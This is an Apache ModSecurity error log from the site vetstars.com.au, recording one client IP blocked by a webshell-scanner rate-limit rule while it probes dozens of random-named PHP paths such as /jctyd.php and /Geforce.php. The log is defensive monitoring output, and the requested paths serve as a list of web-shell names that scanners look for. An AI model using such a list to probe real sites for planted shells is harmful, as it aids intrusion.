[Mon Apr 20 20:04:41.401190 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:13040] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new3.php"] [unique_id "aeYWWf4EoMBgOJuJnT2bqwAAAAQ"]
[Mon Apr 20 20:04:42.117895 2026] [:error] [pid 11441:tid 11466] [client 172.213.242.226:12891] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jctyd.php"] [unique_id "aeYWWsixByFUvmh319CS5AAAANc"]
[Mon Apr 20 20:04:42.664317 2026] [:error] [pid 11351:tid 11391] [client 172.213.242.226:18084] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jctyd.php"] [unique_id "aeYWWgN8Z1-vktaI_tPvEgAAAEQ"]
[Mon Apr 20 20:04:43.293282 2026] [:error] [pid 11350:tid 11368] [client 172.213.242.226:13029] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jctyd.php"] [unique_id "aeYWW_4EoMBgOJuJnT2bxwAAAAk"]
[Mon Apr 20 20:04:43.846626 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18057] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jctyd.php"] [unique_id "aeYWW_4EoMBgOJuJnT2bzwAAAAU"]
[Mon Apr 20 20:04:44.450798 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:18069] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeYWXP4EoMBgOJuJnT2b1gAAAAI"]
[Mon Apr 20 20:04:45.380577 2026] [:error] [pid 11350:tid 11379] [client 172.213.242.226:13043] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeYWXf4EoMBgOJuJnT2b4AAAABQ"]
[Mon Apr 20 20:04:46.329641 2026] [:error] [pid 11441:tid 11457] [client 172.213.242.226:18137] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeYWXsixByFUvmh319CTAgAAAM4"]
[Mon Apr 20 20:04:47.619887 2026] [:error] [pid 11441:tid 11451] [client 172.213.242.226:18101] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anczg.php"] [unique_id "aeYWX8ixByFUvmh319CTDQAAAMg"]
[Mon Apr 20 20:04:48.734391 2026] [:error] [pid 11494:tid 11496] [client 172.213.242.226:12899] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xjgdw.php"] [unique_id "aeYWYMgko5iFiE8YoyTVUgAAAYA"]
[Mon Apr 20 20:04:50.582495 2026] [:error] [pid 11441:tid 11464] [client 172.213.242.226:12954] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xjgdw.php"] [unique_id "aeYWYsixByFUvmh319CTHgAAANU"]
[Mon Apr 20 20:04:51.603174 2026] [:error] [pid 11494:tid 11515] [client 172.213.242.226:12955] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xjgdw.php"] [unique_id "aeYWY8gko5iFiE8YoyTVVwAAAZM"]
[Mon Apr 20 20:04:52.691181 2026] [:error] [pid 6928:tid 6954] [client 172.213.242.226:12995] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xjgdw.php"] [unique_id "aeYWZB3y7MHq1iB0qYqmiAAAAVg"]
[Mon Apr 20 20:04:53.462549 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:12884] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gedim.php"] [unique_id "aeYWZf4EoMBgOJuJnT2cBQAAAAc"]
[Mon Apr 20 20:04:54.852673 2026] [:error] [pid 6928:tid 6936] [client 172.213.242.226:18282] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gedim.php"] [unique_id "aeYWZh3y7MHq1iB0qYqmigAAAUY"]
[Mon Apr 20 20:05:41.391417 2026] [:error] [pid 6928:tid 6954] [client 172.213.242.226:13046] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hnphq.php"] [unique_id "aeYWlR3y7MHq1iB0qYqm_gAAAVg"]
[Mon Apr 20 20:05:42.466703 2026] [:error] [pid 11351:tid 11397] [client 172.213.242.226:18288] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hnphq.php"] [unique_id "aeYWlgN8Z1-vktaI_tPwjgAAAEo"]
[Mon Apr 20 20:05:42.964066 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18182] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hnphq.php"] [unique_id "aeYWlv4EoMBgOJuJnT2csQAAABM"]
[Mon Apr 20 20:05:44.949044 2026] [:error] [pid 11351:tid 11407] [client 172.213.242.226:18294] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hnphq.php"] [unique_id "aeYWmAN8Z1-vktaI_tPwoQAAAFQ"]
[Mon Apr 20 20:05:45.497204 2026] [:error] [pid 42014:tid 42016] [client 172.213.242.226:18190] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeYWmcek-00-ZI0f1Np50gAAAQA"]
[Mon Apr 20 20:05:46.010682 2026] [:error] [pid 11352:tid 11432] [client 172.213.242.226:18112] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeYWmml10mhMSfJ7ir_RPwAAAJI"]
[Mon Apr 20 20:05:46.641757 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18246] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeYWmv4EoMBgOJuJnT2csgAAABg"]
[Mon Apr 20 20:05:47.191055 2026] [:error] [pid 11350:tid 11377] [client 172.213.242.226:18300] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mjq.php"] [unique_id "aeYWm_4EoMBgOJuJnT2ctQAAABI"]
[Mon Apr 20 20:05:47.879186 2026] [:error] [pid 11350:tid 11376] [client 172.213.242.226:18261] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeYWm_4EoMBgOJuJnT2ctgAAABE"]
[Mon Apr 20 20:05:48.438926 2026] [:error] [pid 11494:tid 11510] [client 172.213.242.226:18263] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeYWnMgko5iFiE8YoyTVnQAAAY4"]
[Mon Apr 20 20:05:49.032712 2026] [:error] [pid 11350:tid 11361] [client 172.213.242.226:18180] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeYWnf4EoMBgOJuJnT2cuAAAAAI"]
[Mon Apr 20 20:05:49.663042 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18264] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aeYWnf4EoMBgOJuJnT2cvQAAAAM"]
[Mon Apr 20 20:05:50.292598 2026] [:error] [pid 11352:tid 11429] [client 172.213.242.226:12993] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aeYWnml10mhMSfJ7ir_RRAAAAI8"]
[Mon Apr 20 20:05:50.898532 2026] [:error] [pid 11350:tid 11366] [client 172.213.242.226:18268] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aeYWnv4EoMBgOJuJnT2cwQAAAAc"]
[Mon Apr 20 20:05:51.458200 2026] [:error] [pid 42014:tid 42019] [client 172.213.242.226:18082] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aeYWn8ek-00-ZI0f1Np52QAAAQM"]
[Mon Apr 20 20:05:51.958409 2026] [:error] [pid 11350:tid 11359] [client 172.213.242.226:18243] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wpls.php"] [unique_id "aeYWn_4EoMBgOJuJnT2cxAAAAAA"]
[Mon Apr 20 20:05:52.433612 2026] [:error] [pid 11350:tid 11363] [client 172.213.242.226:18194] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeYWoP4EoMBgOJuJnT2cxgAAAAQ"]
[Mon Apr 20 20:05:52.915961 2026] [:error] [pid 11494:tid 11496] [client 172.213.242.226:18289] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeYWoMgko5iFiE8YoyTVoQAAAYA"]
[Mon Apr 20 20:05:53.507360 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18293] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeYWof4EoMBgOJuJnT2cyQAAABM"]
[Mon Apr 20 20:05:54.060859 2026] [:error] [pid 11350:tid 11362] [client 172.213.242.226:18303] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ftde.php"] [unique_id "aeYWov4EoMBgOJuJnT2cygAAAAM"]
[Mon Apr 20 20:05:54.544596 2026] [:error] [pid 11350:tid 11369] [client 172.213.242.226:18278] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeYWov4EoMBgOJuJnT2czQAAAAo"]
[Mon Apr 20 20:05:55.159875 2026] [:error] [pid 11351:tid 11411] [client 172.213.242.226:13026] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeYWowN8Z1-vktaI_tPxBAAAAFg"]
[Mon Apr 20 20:05:55.685649 2026] [:error] [pid 42014:tid 42035] [client 172.213.242.226:18226] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeYWo8ek-00-ZI0f1Np52gAAARM"]
[Mon Apr 20 20:05:56.179339 2026] [:error] [pid 11350:tid 11364] [client 172.213.242.226:18284] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Geforce.php"] [unique_id "aeYWpP4EoMBgOJuJnT2c0AAAAAU"]
[Mon Apr 20 20:05:56.772954 2026] [:error] [pid 11352:tid 11422] [client 172.213.242.226:18186] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeYWpGl10mhMSfJ7ir_RRQAAAIg"]
[Mon Apr 20 20:05:57.344951 2026] [:error] [pid 11350:tid 11367] [client 172.213.242.226:18287] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeYWpf4EoMBgOJuJnT2c1wAAAAg"]
[Mon Apr 20 20:05:58.234300 2026] [:error] [pid 11494:tid 11507] [client 172.213.242.226:18272] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeYWpsgko5iFiE8YoyTVqAAAAYs"]
[Mon Apr 20 20:05:58.772220 2026] [:error] [pid 11351:tid 11389] [client 172.213.242.226:13035] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sad.php"] [unique_id "aeYWpgN8Z1-vktaI_tPxDwAAAEI"]
[Mon Apr 20 20:05:59.292851 2026] [:error] [pid 11350:tid 11378] [client 172.213.242.226:18214] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeYWp_4EoMBgOJuJnT2c6AAAABM"]
[Mon Apr 20 20:05:59.782310 2026] [:error] [pid 11351:tid 11398] [client 172.213.242.226:18193] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeYWpwN8Z1-vktaI_tPxEgAAAEs"]
[Mon Apr 20 20:06:00.304985 2026] [:error] [pid 11350:tid 11381] [client 172.213.242.226:13022] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeYWqP4EoMBgOJuJnT2c8QAAABY"]
[Mon Apr 20 20:06:00.899137 2026] [:error] [pid 11441:tid 11467] [client 172.213.242.226:18189] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ovajelmxf.php"] [unique_id "aeYWqMixByFUvmh319CTXQAAANg"]
[Mon Apr 20 20:06:01.596454 2026] [:error] [pid 11351:tid 11404] [client 172.213.242.226:18269] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htto.php"] [unique_id "aeYWqQN8Z1-vktaI_tPxGQAAAFE"]
[Mon Apr 20 20:06:02.353894 2026] [:error] [pid 11352:tid 11417] [client 172.213.242.226:18192] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htto.php"] [unique_id "aeYWqml10mhMSfJ7ir_RSAAAAIM"]
[Mon Apr 20 20:06:02.996737 2026] [:error] [pid 11350:tid 11382] [client 172.213.242.226:18276] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htto.php"] [unique_id "aeYWqv4EoMBgOJuJnT2dCwAAABc"]
[Mon Apr 20 20:06:03.496098 2026] [:error] [pid 11351:tid 11396] [client 172.213.242.226:18177] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htto.php"] [unique_id "aeYWqwN8Z1-vktaI_tPxJQAAAEk"]
[Mon Apr 20 20:06:04.027842 2026] [:error] [pid 11351:tid 11387] [client 172.213.242.226:18295] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymi.php"] [unique_id "aeYWrAN8Z1-vktaI_tPxJwAAAEA"]
[Mon Apr 20 20:06:04.563012 2026] [:error] [pid 11441:tid 11455] [client 172.213.242.226:18255] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymi.php"] [unique_id "aeYWrMixByFUvmh319CTYAAAAMw"]
[Mon Apr 20 20:06:05.104598 2026] [:error] [pid 11350:tid 11383] [client 172.213.242.226:18187] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymi.php"] [unique_id "aeYWrf4EoMBgOJuJnT2dJgAAABg"]
[Mon Apr 20 20:06:05.651157 2026] [:error] [pid 6928:tid 6936] [client 172.213.242.226:18281] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/tymi.php"] [unique_id "aeYWrR3y7MHq1iB0qYqnKQAAAUY"]
[Mon Apr 20 20:06:06.211147 2026] [:error] [pid 42014:tid 42038] [client 172.213.242.226:18273] [client 172.213.242.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wwdgl.php"] [unique_id "aeYWrsek-00-ZI0f1Np54wAAARY"]
